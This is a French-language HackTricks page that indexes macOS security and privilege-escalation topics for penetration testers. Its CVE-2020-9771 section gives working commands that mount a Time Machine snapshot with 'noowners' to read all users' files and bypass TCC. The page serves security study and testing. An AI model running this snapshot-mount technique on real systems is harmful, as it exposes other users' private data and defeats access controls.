12 KiB
Sécurité et élévation des privilèges sur macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? Ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez La famille PEASS, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
HackenProof est la plateforme des primes de bugs cryptographiques.
Obtenez des récompenses sans délai
Les primes HackenProof ne sont lancées que lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
Acquérez de l'expérience en pentest web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
Devenez une légende du piratage web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
Inscrivez-vous sur HackenProof et commencez à gagner grâce à vos piratages !
{% embed url="https://hackenproof.com/register" %}
Base de MacOS
Si vous n'êtes pas familier avec macOS, vous devriez commencer par apprendre les bases de macOS :
- Fichiers et permissions spéciaux de macOS :
{% content-ref url="macos-files-folders-and-binaries/" %} macos-files-folders-and-binaries {% endcontent-ref %}
- Utilisateurs courants de macOS
{% content-ref url="macos-users.md" %} macos-users.md {% endcontent-ref %}
- AppleFS
{% content-ref url="macos-applefs.md" %} macos-applefs.md {% endcontent-ref %}
- L'architecture du noyau
{% content-ref url="mac-os-architecture/" %} mac-os-architecture {% endcontent-ref %}
- Services et protocoles réseau courants de macOS
{% content-ref url="macos-protocols.md" %} macos-protocols.md {% endcontent-ref %}
- macOS en open source : https://opensource.apple.com/
- Pour télécharger un fichier
tar.gz
, modifiez une URL telle que https://opensource.apple.com/source/dyld/ en https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz
MacOS MDM
Dans les entreprises, les systèmes macOS sont très probablement gérés avec un MDM. Par conséquent, du point de vue d'un attaquant, il est intéressant de savoir comment cela fonctionne :
{% content-ref url="../macos-red-teaming/macos-mdm/" %} macos-mdm {% endcontent-ref %}
MacOS - Inspection, débogage et fuzzing
{% content-ref url="macos-apps-inspecting-debugging-and-fuzzing/" %} macos-apps-inspecting-debugging-and-fuzzing {% endcontent-ref %}
Protections de sécurité de MacOS
{% content-ref url="macos-security-protections/" %} macos-security-protections {% endcontent-ref %}
Surface d'attaque
Permissions de fichier
Si un processus s'exécutant en tant que root écrit un fichier qui peut être contrôlé par un utilisateur, l'utilisateur pourrait en abuser pour escalader les privilèges.
Cela peut se produire dans les situations suivantes :
- Le fichier utilisé a déjà été créé par un utilisateur (appartenant à l'utilisateur)
- Le fichier utilisé est accessible en écriture par l'utilisateur en raison d'un groupe
- Le fichier utilisé se trouve dans un répertoire appartenant à l'utilisateur (l'utilisateur peut créer le fichier)
- Le fichier utilisé se trouve dans un répertoire appartenant à root, mais l'utilisateur a un accès en écriture dessus en raison d'un groupe (l'utilisateur peut créer le fichier)
Pouvoir créer un fichier qui va être utilisé par root permet à un utilisateur de profiter de son contenu ou même de créer des liens symboliques/hardlinks pour le pointer vers un autre endroit.
Pour ce type de vulnérabilités, n'oubliez pas de vérifier les installateurs .pkg
vulnérables :
{% content-ref url="macos-files-folders-and-binaries/macos-installers-abuse.md" %} macos-installers-abuse.md {% endcontent-ref %}
Abus des privilèges et des autorisations via l'abus de processus
Si un processus peut injecter du code dans un autre processus avec des privilèges ou des autorisations supérieures ou le contacter pour effectuer des actions avec des privilèges, il peut escalader les privilèges et contourner les mesures de défense telles que Sandbox ou TCC.
{% content-ref url="macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}
Manipulation des extensions de fichier et des gestionnaires d'application d'URL
Des applications étranges enregistrées par des extensions de fichier peuvent être abusées et différentes applications peuvent être enregistrées pour ouvrir des protocoles spécifiques.
{% content-ref url="macos-file-extension-apps.md" %} macos-file-extension-apps.md {% endcontent-ref %}
Élévation de privilèges sur MacOS
CVE-2020-9771 - Contournement de TCC et élévation de privilèges de mount_apfs
N'importe quel utilisateur (même non privilégié) peut créer et monter un instantané de la machine à remonter le temps et accéder à TOUS les fichiers de cet instantané.
Le seul privilège nécessaire est que l'application utilisée (comme Terminal
) ait un accès complet au disque (FDA - Full Disk Access) (kTCCServiceSystemPolicyAllfiles
), qui doit être accordé par un administrateur.
{% code overflow="wrap" %}
# Create snapshot
tmutil localsnapshot
# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local
# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap
# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
{% endcode %}
Une explication plus détaillée peut être trouvée dans le rapport original.
Informations sensibles
{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %} macos-sensitive-locations.md {% endcontent-ref %}
Linux Privesc
Tout d'abord, veuillez noter que la plupart des astuces sur l'élévation de privilèges affectant Linux/Unix affecteront également les machines MacOS. Donc voir:
{% content-ref url="../../linux-hardening/privilege-escalation/" %} privilege-escalation {% endcontent-ref %}
Applications de défense MacOS
Références
- OS X Incident Response: Scripting and Analysis
- https://taomm.org/vol1/analysis.html
- https://github.com/NicolasGrimonpont/Cheatsheet
- https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ
- https://www.youtube.com/watch?v=vMGiplQtjTY
HackenProof est la plateforme des primes pour les bugs de cryptographie.
Obtenez une récompense sans délai
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
Acquérez de l'expérience en pentesting web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
Devenez la légende du hacker web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
Inscrivez-vous sur HackenProof commencez à gagner grâce à vos hacks !
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Vous travaillez dans une entreprise de cybersécurité ? Vous souhaitez voir votre entreprise annoncée dans HackTricks ? ou souhaitez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.